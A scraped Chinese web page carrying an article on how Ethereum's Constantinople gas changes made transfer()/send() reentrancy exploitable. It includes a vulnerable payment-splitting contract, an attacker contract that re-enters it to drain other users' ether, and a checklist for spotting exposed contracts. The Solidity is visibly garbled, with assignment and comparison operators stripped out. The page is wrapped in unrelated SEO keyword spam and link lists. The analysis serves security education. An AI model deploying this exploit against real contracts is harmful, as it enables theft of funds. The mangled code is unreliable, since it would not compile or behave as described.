当前位置: 首页 > news >正文

易展 网站建设在线网页代理极光

易展 网站建设,在线网页代理极光,xhinacd.wordpress,国内jsp网站有哪些以太坊硬分叉后的可重入漏洞攻击 以太坊君士坦丁堡升级将降低部分 SSTORE 指令的 gas 费用。然而#xff0c;这次升级也有一个副作用#xff0c;在 Solidity 语言编写的智能合约中调用 address.transfer()函数或 address.send()函数时存在可重入漏洞。在目前版本的以太坊网络…以太坊硬分叉后的可重入漏洞攻击 以太坊君士坦丁堡升级将降低部分 SSTORE 指令的 gas 费用。然而这次升级也有一个副作用在 Solidity 语言编写的智能合约中调用 address.transfer()函数或 address.send()函数时存在可重入漏洞。在目前版本的以太坊网络中这些函数被认为是可重入安全的但分叉后它们不再是了。 这个代码的问题何在 下图是君士坦丁堡硬分叉之前没有可重入漏洞的一个代码段它会在分叉后导致可重入性。 pragma solidity ^0.5.0;contract PaymentSharer {mapping(uint uint) splits;mapping(uint uint) deposits;mapping(uint address payable) first;mapping(uint address payable) second;function init(uint id, address payable _first, address payable _second) public {require(first[id] address(0) second[id] address(0));require(first[id] address(0) second[id] address(0));first[id] _first;second[id] _second;}function deposit(uint id) public payable {deposits[id] msg.value;}function updateSplit(uint id, uint split) public {require(split 100);splits[id] split;}function splitFunds(uint id) public {// Here would be:// Signatures that both parties agree with this split// Splitaddress payable a first[id];address payable b second[id];uint depo deposits[id];deposits[id] 0;a.transfer(depo * splits[id] / 100);b.transfer(depo * (100 - splits[id]) / 100);} }An example for newly vulnerable code. 这个代码会被一种意想不到的方式攻击它模拟了一个安全的资金共享服务。双方可以共同接收资金决定如何分成如果他们达成一致 ­则可以获得支付。攻击者将创建一个对其中第一个地址是下图列出的攻击合约地址第二个地址则是任何攻击者账户。攻击者将在这个对存入一些以太币。 pragma solidity ^0.5.0;import ./PaymentSharer.sol;contract Attacker {address private victim;address payable owner;constructor() public {owner msg.sender;}function attack(address a) external {victim a;PaymentSharer x PaymentSharer(a);x.updateSplit(0, 100);x.splitFunds(0);}function () payable external {address x victim;assembly{mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)pop(call(10000, x, 0, 0x80, 0x44, 0, 0))}}function drain() external {owner.transfer(address(this).balance);} }Attacker Contract listed as first address. 当攻击者在自己的合约中调用 attack 函数时在同一个交易中就会发生以下事件 攻击者利用 updateSplit 函数设置当前的分成从而确保之后的升级将会降低费用。这是君士坦丁堡升级带来的效应。攻击者通过这种方式设置分成他的第一个地址即攻击合约地址就能接收到所有的以太币。攻击合约调用 splitFunds 函数该调用将进行检查*等并通过 transfer()函数把其中存储的所有以太币发送到攻击合约。通过回退函数攻击者再次执行分成这一次将所有以太币分配给他的第二个地址即其自己的账户。通过不断执行 splitFunds 函数在第一个地址中存储的所有以太币都被转移到了攻击者账户中。 简单来说攻击者可以不断从 PaymentSharer 合约中盗取其他用户的以太币。 为什么这种漏洞变得可利用了 在君士坦丁堡硬分叉前一个存储指令至少需要 5000 gas 手续费。这远远超过了在利用 transfer()函数或 send()函数调用合约时可用的 2300 gas 津贴。 在君士坦丁堡分叉后会改变“脏dirty”存储器槽storage slot的存储指令只需 200 gas。如果在交易执行期间对一个存储器槽做出修改那么这个存储器槽就会被标记为“dirty”。如上所示这可以通过在攻击合约调用一些改变所需变量的公共函数来实现。然后通过使被攻击合约调用攻击合约例如使用 msg.sender.transfer…函数攻击合约就可以利用 gas 津贴成功操纵这个被攻击合约的变量。 被攻击合约必须满足以下先决条件 首先必须存在函数A在调用 transfer/send 函数后将执行状态修改的指令。有时这种指令可能是不明显的例如第二次 transfer 的调用或与另一个智能合约的互动。必须存在攻击者可调用的函数B 能够实现a改变状态b其状态改变与函数A的状态改变冲突。执行函数B 的手续费必须小于 1600 gas 2300 gas 津贴 — CALL 指令花费的 700 gas。 我的智能合约是否易受攻击 要测试一个智能合约是否易受攻击 (a) 检查在 transfer 事件后是否存在其他指令。 (b) 检查这些指令是否修改了存储状态。最常见的修改是通过分配一些存储变量。如果你在调用另一个合约比如代币的 transfer 函数检查并列出所有被修改的变量。 © 检查在你的合约中是否有任何非管理员可访问的方式使用了这些变量。 (d) 检查这些方式本身是否修改了存储状态。 (e) 检查这种方式的手续费是否低于 2300 gas记住SSTORE 指令理论上只需要花费 200 gas。 如果上述所有情况皆符合那么攻击者很可能可以对你的合约发起恶意攻击使其陷入糟糕的状态。总的来说这也再次提醒了我们“检查-生效-交互”Checks-Effects-Interactions模式的重要性。 目前存在易受攻击的智能合约吗 利用 eveem.org 提供的数据我们检查了主要以太坊区块链并未发现易受攻击的智能合约。我们也在与 ethsecurity.org 工作组的成员合作将此次检查扩展到尚未反编译的复杂智能合约尤其是去中心化交易所。去中心化交易所经常向不可信账户调用以太币转移函数之后存储状态被修改这些交易所就可能会变得易受攻击。请记住在许多情况下重入攻击警告并不意味着这个漏洞可以被利用而需要更仔细的分析。
http://www.hkea.cn/news/14572767/

相关文章:

  • 无锡网站设计公司排名h5网站建设价格
  • 湖州微信网站建设用word怎么做网站
  • 新乡网站建设哪家专业上海万户网络科技
  • 企业网站模板图片wordpress分类目录 菜单 页面
  • 网站上传该怎么做郑州网站制作案例
  • 哈尔滨h5模板建站做网站要用写接口
  • 室内设计做效果图可以接单的网站网站源文件修改
  • 网站建设费怎么写会计科目哈尔滨网页设计招聘
  • 网站推广主要用的软件电子工程师证怎么考
  • 典型的电子商务网站有哪些雨花区基础网络营销方式
  • 主动创新网站内容建设店铺网页设计
  • 企业网站界面wordpress做音乐网插件吗
  • 铜川网站建设哪家好湖南省建设厅官网查询
  • 360网站在系统那里公司网站域名无法解析
  • 免费建站的网站99社区团购平台排名
  • 网站上放百度地图做有网被视频网站
  • 企业网站建设飞沐肥城网站建设方案
  • 怎么用网站推广濮阳市网站建设公司
  • 清新区住房和城乡建设局网站音乐网站如何建设
  • 建设隔离变压器移动网站平面设计图片大全
  • 网站开发的目的和意义长春哪家网站做的好
  • 美橙互联网站建设案例响应式网站 外贸
  • 企业网站内容运营方案案例建立网站的步骤和费用
  • 医院行业网站网站为什么续费
  • 网站的色彩团队管理的七个要点
  • 物业管理网站开发背景青岛网站建设公司大全
  • 如何做好企业网站的推广网络广告投放公司
  • 阿里云做的网站程序员公司网站模板制作
  • 网络推广网站建设百度公司总部地址
  • 中文域名的网站易语言如何做网站登录